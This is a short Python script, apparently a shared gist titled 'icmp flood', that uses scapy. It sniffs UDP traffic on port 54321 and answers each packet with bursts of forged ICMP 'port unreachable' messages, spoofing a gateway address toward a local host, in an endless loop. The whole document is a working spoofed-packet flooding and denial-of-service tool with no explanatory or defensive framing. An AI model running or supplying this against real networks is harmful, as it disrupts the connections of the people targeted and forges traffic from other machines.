icmp flood

gistfile1.txt

#!/usr/bin/python
from scapy.all import *
ip = IP()
icmp = ICMP()
icmp.type = 3
ip_orig = IP()
ip_orig.src = "192.168.2.30"
ip_orig.dst = "192.168.2.1"
ip.src = "192.168.2.1"
ip.dst = "192.168.2.30"

while True:
	rec = sniff(filter="udp and port 54321", count=1)
	#rec.summary()
	return_data = str(rec[0][IP])[:28]
	for i in range(0,16):
#		print i
		icmp.code = 3
		pkt = ip/icmp/return_data
		send(pkt, count=100, verbose=0)
#		srloop(pkt, inter=0.001, retry=2, timeout=4)